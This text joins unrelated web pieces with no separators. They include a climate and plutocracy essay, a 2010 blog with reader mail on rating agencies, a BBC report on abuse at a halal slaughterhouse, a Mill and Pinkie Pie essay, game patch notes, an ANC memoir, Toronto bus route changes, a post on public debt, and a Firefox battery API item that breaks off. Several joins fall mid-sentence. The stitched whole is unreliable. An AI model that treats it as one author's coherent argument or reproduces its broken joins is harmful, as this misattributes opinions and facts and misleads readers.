Our corporations and our elites have performed a slow moving coup d’etat ever since the New Deal. As a result we have moved from being democracies to being a plutocracies. No longer is it one person one vote, it is now instead one dollar one vote. This crippling of our social and economic ability to work collectively could not come at a worse time. Plastics in the ocean, the destruction of global fisheries. The pollution of our drinking water, the looming dust bowl in our prairies. We are headed for a level of challenge to our well being greater than the threat of war. Clearly this is a threat to our affluence not to mention many lives.
Yes some of our politicians took a few baby steps forward. Many, like myself, were happy that at least they weren’t taking large steps backwards. It has however become obvious that the gap between small steps forward and large steps backwards is a distinction without a difference. The challenges we face are on a timeline and if we do not meet that timeline the feedback loops of Mother Nature will take over and all but certainly end the project of civilization. Thankfully this is now being recognized within the scientific community at least as anything but hyperbole.
I used to be afraid of a Trump Presidency. No more. Devos for Education, Perry for Energy, Pruitt for the Environment. The destruction they intend is so very obvious that finally people are becoming enraged and engaged. Even more heartening is that polls show that Trump and Clinton are equally despised while the young and many others have aligned themselves with the New Deal democratic policies espoused by Sanders. The bald faced wreckage that this Presidency intends has had the effect of accelerating the protest required to make fundamental changes to our systems. Given the timeline we face dictated by the laws of physics and chemistry that is a silver lining we must mine with haste.
The era of bigger government is in front of us because when it comes to solving the problems of people and nature there truly is no alternative.This week: Monday
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Thursday, April 22, 2010 It's time to panic. That's the thrust of an article by J. Bradford DeLong, Professor of Economics at the University of California at Berkeley. His article, "Hot Today, and Tomorrow,", was in today's LA Times, and while I can't find it on line, substantially the same thing is here. I found that link on his rather confusing web page. The major point is according to NASA’s Goddard Institute for Space Studies, we have just experienced the hottest twelve-month period in at least a thousand years.
If global temperatures continue rising at the rate they have risen for the past generation, then the world of 2100 will be 2.3 degrees Celsius – that’s 4.1 degrees Farenheit [sic]-- hotter than the world of the 1970s. If global warming accelerates, however, as industrializing China, India and other countries pour more greenhouse gases into the atmosphere, and as Indonesia, Brazil, and others cut and burn their forests, the world in 2100 will be 5 Celsius -- 9 Farenheit -- degrees hotter than the world of the 1970s. He goes on to list the horrors of such a world*, although it's not clear to me what his sources are. Perhaps he doesn't need any, being a professor of economics at a major US university. He also makes it clear that we probably won't find any technological remedies: the prudent thing to do is to form what amounts to a world government that will force us to use less carbon. Oddly enough, this economist, who appears to be very familiar with the effects of climate change, has little to say about the economic effects of his carbon taxes and reduced energy production, although you'd think that as an economist he'd know a little about that. In any event, if you're saving up to send your kids to a major university, understand that this is what they'll be learning, and if you live in California you're paying taxes to pay Professor DeLong and his colleagues to spread the word. I do have a question. While I don't know how NASA knows that we've just had the warmest year since 1009 AD, it does seem reasonable to ask why it was so warm in 1009 AD when there weren't any automobiles, and how the Earth managed to get from 1009 AD to present without overheating, and what happened to bring about the cooling of the Little Ice Age. I will say that DeLong seems to be sympathetic to nuclear power, but he doesn't spend a lot of time talking about it; at least a search of "Brad DeLong Nuclear" turns up several bits about nuclear weapons, but he doesn't seem to have written much about power plants. I hasten to add that the piece above is exactly on target. One wonders why promoting nuclear power isn't part of his panic proposals? While we're on the subject of what they're teaching in our colleges, this morning's LA Times has an article by CCNY Sociology Professor Frances Fox Piven entitled "Lamenting Acorn" which is exactly what the title says it is: a lamentation of the death of Acorn and the hope that it will be back, stronger, as the voice of the people. (I can't find a link to it yet, but it hardly matters: it's not particularly noteworthy.) Perhaps Acorn can answer the question of how NASA Goddard knows that 2009 was the warmest year for a thousand years, and how we managed to avoid the warming trend that must have preceded the Year 1009. Or at least how NASA Goddard managed to compute the temperature of 2009 so that we can all see how that was done. === * The horrors include tornados in Los Angeles, the California Central Valley turning into Death Valley, famines all through Asia, and general disaster. ================ One of the best parts of being me is that if I'm wrong someone will tell me soon enough. Subj: Congressional interest in rating agencies It turns out not to be quite the case, that Congress has taken no interest. I'm too lazy to look it up, but I remember seeing video archives of hearings in which the SEC Chaircritter said her agency is in the process of writing the rating agencies out of SEC rules, and I think I remember Barney Frank saying he was going to write them out of the law. Alas, I also remember hearing some testimony -- perhaps from a ratings-agency-critter? -- about how it's really hard to do much more than refrain from granting the agencies official recognition in law or regulation, because courts have ruled that their opinions fall under "free speech". A little Googling did yield these links: http://www.house.gov/apps/list/press/
financialsvcs_dem/pressCRA_102809.shtml http://www.house.gov/apps/list/hearing/
financialsvcs_dem/pressCM_093009.shtml http://www.house.gov/apps/list/press/
financialsvcs_dem/press_120309.shtml thomas.loc.gov seems to indicate that the bill announced in the first link apparently stalled in the House after being reported out of committee. The bill announced in the third link covers lots more topics besides rating agencies, and I can't tell whether the "credit rating agencies" the bill dealt with are the securities rating agencies or consumer-credit-rating agencies, or both. thomas.loc.gov seems to indicate that it passed the House and is now before a Senate committee. There's also the Financial Crisis Inquiry Commission at fcic.gov. I've viewed archived videos of several of their hearings, and at least one Commissioner promised a witness that the rating agencies would be roasted in due course. This link says they've just subpoenaed Moody's "for failing to comply with a request for documents in a timely manner": http://fcic.gov/news/pdfs/2010-0421-Advisory.pdf Rod Montgomery==monty@starfief.com So apparently there has been discussion, but I don't see much of it. I do know that Barney Frank got a 1000+ page House Bill on consumer protection through regulation passed, and Chris Dodd is working on a 1000+ page Senate version, and I wasn't aware that either had anything to do with the ratings agencies. There may be something in there -- in 1000+ pages that no one has read in its entirety, who knows what may be in there -- but there's been little to nothing in the debates. I would think myself that anything so complex that it takes 1000 pages and the creation of new agencies to solve would be done very carefully; and that it's obvious to me that the big crash came because the ratings agencies allowed pension funds and other such institutions to invest in crazy derivatives by giving those derivatives ratings of sound risk when at least one of the derivatives was created so that someone could bet against its success. The crisis came when too big to fail organizations got involved, and most of them can't invest in stuff without ratings, or so I understand. I don't claim to be an expert on high finance, but it does seem to me that those who look to reform Wall Street by protecting investors and consumers might want to start with a reform of the ratings system. People who want to invest in Blue Chips ought to have a reliable way to determine just what is a Blue Chip -- and the Blue Chip designation ought not be for sale. We're in an almighty hurry to reform Wall Street. Perhaps we ought to slow it down until Moody's gets around to compliance. It's not like there's all that money out there just straining to get at strange derivatives. Were I in charge, I'd be looking at a different matter: how can we set up Wall Street so that it doesn't matter to us whether a Big Bank fails? If there were 50 major banks instead of just the Big Seven (or Big Five depending on who you read) then the failure of one or two wouldn't be devastating to everyone, and we wouldn't need so much regulation. The problem with Big Capitalism is that it tends to concentrate power. This was Marx's observation, and it's true. Adam Smith observed that capitalists tend to conspire to use government in their favor, and that has been going on forever. Some big bubbles and crashes of the 19th Century were blamed on speculators, and Andy Jackson killed the Bank of the United States as one remedy. An institution that is too big to fail is one that must either be prevented from taking certain risks -- i.e. to have regulators substitute their judgment for that of the institution's controllers -- or be allowed to take crazy risks but then be bailed out when they go sour. This is gambler's heaven: I make the bet and keep the winnings, but you pay for my losses. Honest ratings and institutions we can allow to take high risks and suffer the consequences of failure. Those seem to me a better remedy than the competing 1000+ page Frank and Dodd bills. Instead of 1000 pages of new law creating new agencies and new regulations, perhaps we ought to look into reforming the ratings agencies, and applying anti-trust law to breaking up institutions so they are not too big to fail. At least we ought to be talking about that. ============ The public employees union bussed in thousands to Springfield Illinois to protest any adjustments to state employee pensions and wages. Our Masters show their strength. This will continue. Rush Limbaugh gives us the image of a tick demanding that you feed the dog more... ================ Not of general interest yet, but a glimpse of things to come. Windows 7 PCs with multitouch screens now have a new series of apps focused on play. http://news.cnet.com/8301-10805_3-
20003155-75.html?tag=nl.e70 3 And the beat goes on. Hi Jerry, The article is available online now, and will be in the 4/26 print edition. The article covers the courting--or lack thereof--of book publishers by Amazon, Apple and Google for their support in the e-book platform wars http://www.newyorker.com/reporting/
2010/04/26/100426fa_fact_auletta?currentPage=all All the best, Jim Woodinville, WA If you are interested in the publishing business and have not read this you probably should read it. ================= Thursday TOP Current MailImage copyright PA Image caption Under the halal code, animals are supposed to be killed quickly with a single sweep of a surgically-sharp knife
One man has been sacked and three others at a North Yorkshire slaughterhouse have had their operating licences suspended after hidden cameras filmed alleged mistreatment of animals.
Footage captured by Animal Aid apparently shows sheep being kicked and punched at Bowood Lamb in Thirsk.
The Food Standards Agency (FSA) has begun an investigation.
It said there was "no excuse" for how the animals were treated, and said prosecutions could follow.
The slaughterhouse is licensed to kill animals under the halal code, which states animals are supposed to be killed quickly with a single sweep of a surgically-sharp knife. They should not see the knife before they are slaughtered, or witness the death of other animals.
The law requires abattoirs to stun animals before slaughter to prevent unnecessary suffering but there are exemptions for Jewish and Muslim producers.
Media playback is unsupported on your device Media caption The BBC's Dan Johnson says the images are likely to re-open the debate about slaughter practices
Animal rights group Animal Aid recorded the footage with hidden cameras.
An FSA spokesman confirmed four slaughtermen had their licences suspended, meaning they cannot operate as slaughtermen or work with live animals.
The footage apparently shows:
A worker hacking and sawing at animals' throats, in contravention of Islamic practice
Sheep being kicked, lifted by their ears and hurled into solid structures
A worker jumping up and down on a sheep
The animals being frightened by waving knives, smacking and shouting
A worker holding his fist as if to punch the sheep he is holding
More than 4,000 sheep were filmed being killed at Bowood over a three-day period in December.
Kate Fowler, head of campaigns at Animal Aid, said "vicious attacks on defenceless, frightened animals are inexcusable".
Government-appointed vets are supposed to be on hand in all abattoirs the size of Bowood, but Animal Aid said none was seen during the three days of filming.
Animal welfare
The animal rights group, which is the largest in the UK, is now calling for independently-monitored CCTV cameras to be compulsory at slaughterhouses.
During a debate in the House of Commons earlier, Conservative MP for Crawley, Henry Smith, said CCTV was a practical and sensible approach to a "widespread problem".
"It won't stop the suffering inside slaughterhouses but it will deter gross acts of violence that are all too commonly recorded and help vets advise and retrain, as well as help the FSA crack down on law-breaking, by providing evidence for prosecutions, should they be necessary," he said.
Animal Aid, which was formed in 1977, has been involved in a number of campaigns including condemning the culling of deer at Sellafield and criticising the condition of Guernsey horse racing course.
The FSA, which provides operating licences and carries out inspections for slaughterhouses in the UK, said it took animal welfare at abattoirs "very seriously, which is why we immediately suspended the licences of the slaughtermen involved".
"There is no excuse for treating animals in the way shown on the video and we are therefore investigating the footage with a view to prosecution.
"We are also continuing to investigate all the circumstances around the incident to ensure proper safeguards are introduced to stop this happening in the future.
"When the FSA has finished investigating it will need to consider if there is sufficient evidence of a breach of animal welfare legislation to justify a referral to the Crown Prosecution Service, which would decide whether to prosecute or not."
Jamie Foster, a solicitor speaking on behalf of Bowood Lamb, said the incidents were "hugely regrettable".
He said that a picture of a slaughterman standing on the neck of a sheep "fell far below the standards that Bowood would find acceptable and that individual was immediately dismissed for gross negligence".
"But it isn't right that this is routine because Bowood is a company that takes animal welfare extremely seriously," said Mr Foster.
The FSA said Bowood Lamb was still operating.In this article I discuss the similarities between the mental crisis of John Stuart Mill in his young adulthood with that of the identity crisis that Pinkie Pie suffers in the episode “Too Many Pinkie Pie’s.” This is done through the use of Mill’s concept on “moral freedom”, which is the state of having a multiple desires capable of trumping others as needed. The Mirror Pool incident, I argue, causes Pinkie Pie to reflect on her own state of moral unfreedom before eventually restoring herself to a state of moral freedom when she shows she can put aside her desire for fun for the desire of keeping her friends.
So as explained in my last video, “Nightmare Night and Utilitarianism,” the episode “Luna Eclipsed” greatly damaged Pinkie Pie’s likability in my eyes until the episode “Too Many Pinkie Pies.” For some time I had trouble exactly explaining why it was that was the case. At first thought it might have been a sense of appeasement; I never really thought that Pinkie Pie had gotten the calling out she deserved for her behavior, and the existential crisis she falls into during the episode was sort of a delayed cosmic payback. But honestly, that answer didn’t really satisfy me that much.
My recent readings into John Stuart Mill’s life, however, offered me a point of comparison and some concepts that I realized hit the mark about why exactly that episode: it was the first time that Pinkie Pie truly had to deal with a sense of moral unfreedom.
A Mental Crisis and the Concept of Moral Freedom
John Stuart Mill was born into the life of a utilitarian. His father, James Mill, was a utilitarian and had worked with Jeremy Bentham, the first major proponent of the utilitarian philosophy. JS Mill was educated and trained to think in terms of the hedonistic calculus, and as he grew he believed he was destined for a career in politics, one in which the application of the principle utility would be used to combat the ills of society. He was already an activist and writer, so all and all life seemed good.
One day, however, during a dull mood…
“ …it occurred to me to put the question to myself: “Suppose that all your objects in life were realized; that all the changes in institutions and opinions which you are looking forward to, could be completely effected at this very instant: would this be a great joy and happiness to you?” And an irrepressible self-consciousness distinctly answered, “No!”. At this my heart sank within me: the whole foundation on which my life was constructed fell down.” -John Stuart Mill, Autobiography
Upon further introspection, Mill found himself in a state of contradiction: he still sincerely believed in the principle of utility, yet he felt no motivation or pleasure from following it. He realized that his actions were now being guided not due to his own convictions or desires but nothing more than the force of habit.
It was from this crisis that Mill developed his concept of “moral freedom” As Mill himself wrote:
“A person feels morally free who feels that his habits or his temptations are not his masters, but he theirs: who even in yielding to them knows that he could resist; that were he desirous altogether of throwing them off, there would not be required for that purpose a stronger desire than he knows himself capable of feeling.” – John Stuart Mill, quoted from the essay “Mill’s Incubus” in John Stuart Mill and the Art of Life
In other words, moral freedom occurs any motivation you have is capable of being trumped by another. This requires that one have a large field of motivations and preferences that are of relative equal weight; which one wins out based on the current situation at hand.
Now, a full treatment of the idea and its implications in regards to Mill’s larger philosophy is out of the bounds of this article (pick up a copy of On Liberty if you’re interested though). The most relevant aspects of it that we’ll need to analyze “Too Many Pinkie Pies” are the following:
1) Moral freedom requires having a large variety of preferences that are capable of trumping one another depending on the situation. Devoting everything to one, single motivation threatens to turn it from a motivating factor to a force of habit unable to be trumped by anything else. 2) “One whose desires and impulses are not his own, has no character, no more than a steam-engine has a character.” –John Stuart Mill, On Liberty
“Too Many Pinkie Pies”: An External-Driven Reflection on Moral Unfreedom
Initial Problem
So then, the episode “Too Many Pinkie Pies” starts off with Pinkie Pie in a rather tough dilemma; she wants to have fun with all her friends, but all her friends are doing things in different places at the same time. As she wants to have fun with her friends, this is obviously a problem as this means having fun with one pony will cause her to miss out on the fun elsewhere.
This, of course, is where we start to see the beginnings of the issue of moral unfreedom. Pinkie Pie’s sole motivation is fun with friends, but now she finds herself in a situation where she is unable to fulfill this desire completely due to physical limitations. For most of us, this would simply require us to analyze our other motivations and eventually make a choice on who to spend time with. Pinkie, however, is so strongly motivated by the need to have fun with all her friends, is paralyzed by the prospect of choice and instead attempts to find another solution.
Her first try at solving the problem by attempting to break the laws of time and space fails. She eventually resorts to using the mystical Mirror Pool to clone herself in order to be in all places at once. The expectation of course being the clones would have the fun, come back to her, and regale her with tales of the fun they had. This, in of itself, is a reasonable (in a loose sense of the word) enough plan that solves the problem and allows her to, at least indirectly, fulfill her desire for having fun with her friends.
The Pinkie Clones and Moral Unfreedom
And then we find out that the Pinkie Pie clones are themselves bound up in a level of moral unfreedom even greater than Pinkie Pie. This can be seen by the first clone, who is originally tasked with going to the barn raising with Applejack but is thrown into a panic upon running into Fluttershy’s picnic. Like the original Pinkie Pie, the clone is unable to trump her desire for fun in order to make a choice, though in this case it leads to panic that causes her to flee the situation and satisfy no desires at all.
The situation only worsens, however, as the amount of clones increases. It quickly becomes obvious the Pinkie Pie clones are driven simply by the need to instantly gratify their sense of fun, completely without regard for the desires of others. To draw on the mechanical metaphors of Mill, the Pinkie Pie clones are nothing more than “fun machines.”
Pinkie’s Mental Crisis: Identity Wrapped in Moral Freedom
The most interesting aspect of this episode, however, and the part that was enough to regain my interest in Pinkie Pie as a likeable character, was the crisis of identity. When analyzed through Mill’s concept of moral freedom, her crisis of identity becomes rather clear. There are some distinctions that must be made, however, between Mill’s own crisis and Pinkie Pie’s, ones that make Pinkie’s situation an even more interesting one to watch.
Mill’s crisis of moral unfreedom was brought on through introspection, but Pinkie Pie’s, it can be argued, was brought upon through observation.
At first this act of observation is rather superficial; neither Pinkie Pie nor anyone else is unable to distinguish herself from the others on physical characteristics since all of them were of course clones. Yet this doesn’t seem like a reasonable reason for Pinkie Pie to fall into the levels of despair and crisis that she did; after all, even if they all looked the same, Pinkie Pie should know she’s the real one simply because she isn’t a “fun machine” driven solely by fun. We should also chastise her friends for not being able to recognize this either since even after witnessing her in despair her friends weren’t confident she was the real Pinkie Pie.
But consider for a moment what Twilight says when Spike states “Maybe that one’s the real Pinkie.”
Twilight Sparkle: Please. The real Pinkie Pie never sat that long in one place her whole life!
And this, my friends, is where the brilliance of the episode lies, and why it helped to save Pinkie Pie as a character for me: in this episode, Pinkie Pie is faced with realizing that she may, in fact, be no better than her clones. Or in Mill-like terms, Pinkie Pie is faced with realizing she is living in a state of moral unfreedom.
The Paint-Drying Test as a Test of Moral Freedom
The climax of the episode is a test: the Pinkie Pie clones have to watch paint dry, and whoever is able to do so without doing anything else is allowed to stay. In moral freedom terms, the paint-drying scene is testing whether or not the Pinkie clones are able to trump their desire for instant fun with the desire to stay with the rest of the Mane 6.
It is interesting to note that it is Pinkie Pie who comes up with the idea for such a test, though the specifics were left to Twilight Sparkle. This is the first sign that Pinkie Pie is coming to terms with her moral unfreedom, and is figuring out what distinguishes her character from that of the “fun machine” clones. In doing so, Pinkie Pie is showing she is making her first steps to moral freedom.
And by the end of the episode, it seems that the Paint-Drying Test did in fact do its job. The clones quickly fall into the temptation to enjoy the fun of the various distractions around them, but the real Pinkie Pie never budges from staring at the drying paint:
And from this incident, Pinkie Pie learns that while having fun is great, having friends is even greater. Granted, the desire to have friends has been present in Pinkie Pie since day one, but this is the first time the two desires were ever in conflict. In showing that she is indeed able to suppress the desire to have fun in order keep her friends, Pinkie Pie shows she does in fact have more than one desire and that they are capable of trumping the others. In showing this, Pinkie Pie escapes the trap of moral unfreedom, while the clones inability to do so shows otherwise.
Conclusion and Implications for the Writers
Both John Stuart Mill and Pinkie Pie found themselves in the midst of a great mental crisis. They differed in some senses, with Mill’s being one of motivation and Pinkie’s of identity, but they shared a common root. Both of them found themselves with the realization that they in a state of moral unfreedom as they were so dedicated to one desire they were unable to trump it with another. For Pinkie Pie, the crisis, brought on by the appearance of clones that at first glance seemed to be like her both in appearance and desire for fun, was resolved by showing that she was indeed able to trump the desire for fun in the name of another, more pressing desire; the desire for friendship.
At a meta-level, then, the episode of “Too Many Pinkie Pie” reaffirms that Pinkie Pie is in fact capable of being a deep and complex character. All it takes is the realization that there is more to her than simply being “fun loving and random,” a trap that the writers sadly often fall into at a great detriment to her character (ex: “Swarm of the Century” and “Luna Eclipsed”, for me at least). For a look at this tendency, read “The Pinkie Pie Principle |
changes and we’re not certain how big of an impact they might have. If you did not spot these in the patch notes, I’ll just mention them and talk a bit about them here.
Reflected Projectiles
The first, and probably the smallest change, is that projectiles affected by Battlerites will retain any additional effects after being reflected. As you can probably imagine this will diversify certain interactions in the game and lead to more interesting situations in matches with Bakko, Blossom, Oldur, or Raigon. Overall this might not have that much of an impact, but it will certainly be something to keep in the back of your mind now.
Weaker and Stronger Knockbacks
The second change is that most weaker knockbacks will no longer overwrite (i.e replace) stronger knockbacks. This could have affected the outcome games in several ways before. For example, if Ruh Kaan managed to grab someone with Claw of the Wicked (E) and an allied Blossom hit the same target with a charged Thwack! right afterwards, the knockback from the latter would overwrite the pull (technically a knockback) of the former. The result of this would have the enemy only being pulled a fraction of the distance to Ruh Kaan and then being pushed in another direction slightly by Blossom and finally stopping there. From now on, Ruh Kaan should be able to pull the target all the way without interruptions. In the grand scheme of things you most likely won’t notice this very often, but lots of small interactions will be a bit different with this change.
Recast Abilities
The third change is that all recast abilities that are not simply the same ability being used again no longer affect cooldowns. For example; Croak’s second Frog Leap will still put it on a 10s cooldown afterwards, whereas Oldur’s Time Bender recast to fire projectiles will not put Time Bender at a full 8s cooldown. Instead, Time Bender will continue to tick down regardless of when you launch that projectile again. While this change might not seem like a big deal at first glance, some key abilities will be part of Champion rotations more often than before. Bakko having access to Bulwark again 2 seconds quicker if he recasts at the latest possible moment could potentially make a big difference, especially before everyone has adapted to this. All in all it will be interesting to see to which degree this will affect matches.
Random Champion Duel
If you still have not checked out the patch notes yet, as I mentioned last week we are replacing Rocket Balloon with a new Brawl. That new Brawl is Random Champion Duel. It’s pretty straightforward: a 1 vs 1 best of 3 match where your Champion is randomly chosen every round. You play each round with all 5 Battlerites, but they’re also randomly chosen. In addition the Sudden Death timer is much shorter, which means most matches end with the Death Vortex active. It’s a quick and fun mode where you get to play champions you’re maybe not that familiar with, and the random Battlerites mean you may have to improvise quite a bit in certain matches. It might just open your eyes to some builds you’ve never thought of before too!
We do have some special rules in place for the Brawl though. First and foremost, you will never get the same Champion twice during a match, unless you somehow manage to get around 6 draws, give or take a few rounds. Second, you will not play as the same archetype two rounds in a row. If you start the first round as a Melee Champion, you will play as either a Ranged or a Support Champion afterwards. Third, you will never get to play against the same Champion you’re playing yourself. No Pearl vs Pearl or Varesh vs Varesh, just different Champions beating each other up. And finally, we have chosen to disable Supports vs Supports. So if you get a Support Champion, you will always face either a Melee Champion or a Ranged Champion. We made this decision to try and avoid overly drawn out rounds where most of the damage is done by the Death Vortex.
We hope you’ll give Random Champion Duel a go and simultaneously try some Champions you don’t generally play. To make it more enticing, there’s also an Event Quest going where you can get chests containing Rare outfits for Ashka, Blossom, and Croak that you can’t get anywhere else, at least for the time being.
And that’s about it this week. Stay tuned during the week for more information about additional Battlerite Lite keys rolling out. But before we end this post, let’s take a gander at Ruh Kaan’s legendary outfit coming tomorrow:
Thanks for reading!
/ChristianRecently I looked at a couple of platforms that aimed to locate the latest research in particular fields. The automated systems used some clever technology to analyze the text contained in papers to judge the merits as well as the content of each paper for the user.
I have some doubts over the sense making capabilities of the various platforms on the market, but what is not in doubt are the text analyzing capabilities currently out there.
A good example of this is a tool recently developed by researchers at USC. The tool, called TACIT (Text Analysis, Crawling and Interpretation Tool), is an open source tool for gathering, managing and analyzing text.
“Currently [text analysis] techniques are available as independent programs or software, but they require a lot of expertise and because social scientists often don’t have the programming background, they don’t use them,” the team say. “So we’ve created a very researcher-friendly environment where they can easily access and use these methods. And if they want more, anyone can write their own plugins for the system.”
Smart text analysis
The tool utilizes a number of techniques by which sense can be made of a piece of text. What’s nice about it is the open source nature of the software, so that other developers can easy develop plugins to extend its functionality.
The software comes with three core components:
a crawler to allow text to be captured from a range of online sources a corpus management feature to process and store bodies of text an analysis tool to count instances and ratios of words
The software is due for a beta launch this month, with a final release due to go live in March 2016. The team are confident in the demand for the solution however.
“In the first week the program launched,” they say, “there were over 2,500 hits to our website. We had people from Kenya to Vietnam, from Uruguay to Estonia and from Hawaii to Maine downloading the software.”
The last few years have seen tremendous gains in language processing, with innovations such as Siri achieving high levels of competence.
The TACIT team hope that their own system can take things on one step further. It will be an interesting project to follow.The ANC has a penchant for assuming it has a divine right to rule. President Jacob Zuma has stated this on several occasions. In 2008 he told a May Day rally in Cape Town: “Even God expects us to rule this country because we [the ANC] are the only organisation that was blessed by pastors when it was formed. It is even blessed in heaven. That is why we will rule until Jesus comes back.”
Martin Plaut
In January this year Zuma made a similar claim while handing over a new school at Libode in the Eastern Cape: “We want to eradicate all mud schools. We are already doing so. We are not in a hurry because no one is going to rule but the ANC.” This assumption that the fate of the ANC and South Africa are as one has a long pedigree – one that I experienced at first hand.
In 1973, the United Nations, fed up with South Africa’s prevarications over South West Africa, conferred on Swapo the title of “the authentic representative of the people of Namibia”. Soon it was being described as “the sole legitimate representative of the people of Namibia”. It was an extraordinary decision for the UN, since it left all other Namibian political movements “illegitimate”. It was a response to the highly unusual situation in which the South African government would not accept the International Court of Justice ruling that its mandate over Namibia, established after the First World War, was at an end.
All this seemed pretty academic when I became Africa Secretary for the British Labour Party in 1979. I was delighted to have been given the post. My own history had been of working with the Nusas Wages Commissions at the University of Cape Town and Wits University between 1973 and 1976. My friends had been banned for attempting to revive the non-racial union movement. My car was being followed and my phone bugged.
I had a place at Warwick University to read Industrial Relations. I decided to leave for the UK immediately – planning to come back – but as it happened, I fell in love, married and did not return to live in South Africa. In 1979 Craig Williamson had just been exposed as an apartheid agent at the International University Exchange Fund and it was not an easy time for a white South African to get a job with a “progressive” organisation. I worked for Mobil Oil for a year before getting the position with the Labour Party.
As I read through the documents and dossiers left by my predecessor, Michael Wolfers, I came across a resolution passed by the party’s Africa Committee, to be considered by the International Committee in a few days’ time. It was a proposal to recognise the ANC as “the sole legitimate representative of the people of South Africa”. Based on the Swapo decision, it was a first step towards winning similar recognition from the Organisation of African Unity and the UN.
At first it seemed entirely appropriate. After all, the ANC was clearly the major liberation movement; where was the harm? But as I thought about it, I realised its importance. Labour would be giving the ANC a veto over all future relations with South African organisations. If, say, Labour wanted to speak to the Black Consciousness Movement or Helen Suzman, we would have to get the ANC’s blessing. It could block links with the non-racial unions, which its trade union allies in Sactu had attacked as “yellow unions” and – most important of all – it would mean withdrawing the Labour Party’s recognition of the PAC. This was no decision for a British democratic party to take: it smacked of the worst form of Stalinism.
I thought a letter to the International Committee spelling this out would end the matter. But my boss (Jenny Little, a former Foreign Office apparatchik and Labour’s International Secretary) was horrified that I would question the Africa Committee’s decision. Joan Lestor, a left-wing MP of independent mind, was more sympathetic. It was decided to convene a meeting with the ANC to consider the matter.
The ANC was clearly furious and sent a high-level delegation, led by Abdul Minty. I was required to explain my position. I said there was no suggestion that the ANC was not the most important South African liberation movement – and that the Labour Party should acknowledge this – but the ANC did not have exclusive ownership of the title of “liberation movement”. For the Labour Party to pass the resolution would put us at odds with the OAU and the UN, since both recognised the PAC. I argued that the decision of who represented the people of South Africa was one that only South Africans themselves could take, in a free election, after liberation.
A rather awkward silence followed, since the case was pretty unanswerable. The ANC said it was not at all happy, but left it at that. The resolution was withdrawn from the International Committee, but the fallout continued. Soon dark rumours began circulating about me. This was very uncomfortable for me, since white South Africans were not exactly flavour of the month.
I continued to work with the ANC and to represent the Labour Party on the Anti-Apartheid Movement but henceforth the relationship was cold and sour. I got on with individuals in the exile community (including the Pahad brothers) but henceforth I was regarded with suspicion by the ANC and its allies. It was only revealed years later that it was Solly Smith, the ANC official London representative (and not I) who was the South African spy in Britain.
Copyright © 2014 www.noseweek.co.zaBatch 156 voting is now open. The following polls are currently open:
Batch 156
Batch 155
Batch 154
Batch 153
Batch 152
Batch 151
Batch 150
Batch 149 results will be up soon.
The full list of matchups for today is:
Pillarfield Ox vs Damping Matrix
Vedalken Anatomist vs Jace’s Sanctum
Scare Tactics vs Mindleech Mass
Collapsing Borders vs Cavern of Souls
Filigree Fracture vs Army Ants
Vital Splicer vs Guardian of the Great Conduit
Indestructible Aura vs Pyric Salamander
Gem of Becoming vs Kragma Butcher
Howlpack Wolf vs Patrol Hound
Honored Hierarch vs Stormbind
Black Lotus vs Disdainful Stroke
Blinding Angel vs Nature’s Chosen
Daru Encampment vs Collective Voyage
Grim Return vs Exotic Orchard
Deathmask Nezumi vs Crumble to Dust
Vulshok Battlemaster vs Anaba Ancestor
Unworthy Dead vs Curse of the Swine
Harvester Troll vs Smokespew Invoker
Riftstone Portal vs Command of Unsummoning
Scorching Spear vs Aven Augur
Harbor Serpent vs Moriok Scavenger
Yotian Soldier vs Clear a Path
Rise of the Hobgoblins vs Turn to Mist
Conflagrate vs Balthor the Defiled
Ondu Rising vs Weaponcraft Enthusiast
Flensermite vs Feast of Blood
Drastic Revelation vs Disciple of Griselbrand
Stampeding Rhino vs Golgari Grave-Troll
Cytoshape vs Preordain
Dragon Bell Monk vs Midnight Oil
Pentad Prism vs Marchesa’s Decree
Kithkin Spellduster vs Highspire ArtisanThousands of bus commuters in Toronto should feel a less crowded and quicker ride during rush hour after 50 new buses were added to 24 routes over the weekend.
The TTC made the announcement as part of the city’s $95 million investment to improve bus service on congested routes.
“What we’re trying to achieve across the city is a network, or spine of routes, that delivers a 10 minutes or better service,”said TTC Chair Josh Colle during a press conference at Wellesley Station on Tuesday.
Colle said the plan is to further expand service to new express routes next month.
“This is still the beginning where we’re going to see later in a couple of months, the express buses and those new routes rolled out across the city,” Colle said.
“So many suburban parts of the city will have express service between important nodes.”
Below is a list of the routes impacted by the new service improvements.
6 Bay
21 Brimley
20 Cliffside
25 Don Mills
143 Downtown/Beach Express
144 Downtown/Don Valley Express
125 Drewry
111 East Mall
195 Jane Rocket
83 Jones
12 Kingston Rd
44 Kipling South
102 Markham Rd
46 Martin Grove
16 McCowan
57 Midland
65 Parliament
66 Prince Edward
134 Progress
123 Shorncliffe
55 Warren Park
94 Wellesley
112 West Mall
89 Weston
The following routes will have schedule adjustments to improve service reliability.
20 Cliffside
113 Danforth
23 Dawes
57 Midland
85 Sheppard East
Additional Service Increases Extra trips will be operated at various times of the week on the following routes.
61 Avenue Rd North
15 Evans
42 Cummer
47 Lansdowne
56 Leaside
73 Royal York
80 QueenswayI’m getting some outraged/confused responses to my post on debt as money that we owe to ourselves. Many people seem to find it hard to step outside the misleading analogy between an individual and the economy as a whole. If I owe money, that’s a claim on my future. But debt levels in the economy as a whole are not a claim by some outside party on the economy as a whole.
Here’s a thought experiment that may clarify matters (or alternatively make the usual suspects even more enraged.) Suppose that for some reason the government were to decree, arbitrarily, that every American whose last name begins with the letters A through K now owes $100,000 to a special government agency; meanwhile, every American L through Z is given a $100,000 bond to be paid by that agency.
Clearly, the overall level of debt in the U.S. economy has suddenly increased (actually by about $1.6 trillion). But has the nation become any poorer? Is that $1.6 trillion of additional debt money taken from the next generation? No and no: the additional debt represents a claim by one set of Americans on another set of Americans — and we’re talking about people here now, not future generations.
But, but, you say — that’s not where the debt comes from. It comes from people spending more than they earn. And that’s true — debtors get there by spending more than they take in. But creditors get there by spending less than they take in. Anyway, how we got here should not have any direct bearing on what the debt means now — which is that it’s money we owe to ourselves.
There is still, of course, the definition of we, white man. Debt has distributional implications, and it may have macroeconomic effects because of those distributional issues. But again, all this is within the current generation; it’s not about the present versus the future.Mozilla has made the decision to cut website access to the Battery Status API in Firefox 52 to improve user privacy while using the browser.
Battery Status API was introduced back in 2012 to allow sites, apps and extensions to retrieve information about the device's battery charge and discharge time, and batter level.
You can check out this test site to see this in action. Please note that the API is only supported in Firefox (prior to version 52), Chrome and several Chromium-based browsers such as Opera currently, but not in Edge, Internet Explorer or Safari.
Sites can access the information directly, there is no permission request that prevents them from doing so as per the Battery API specifications:
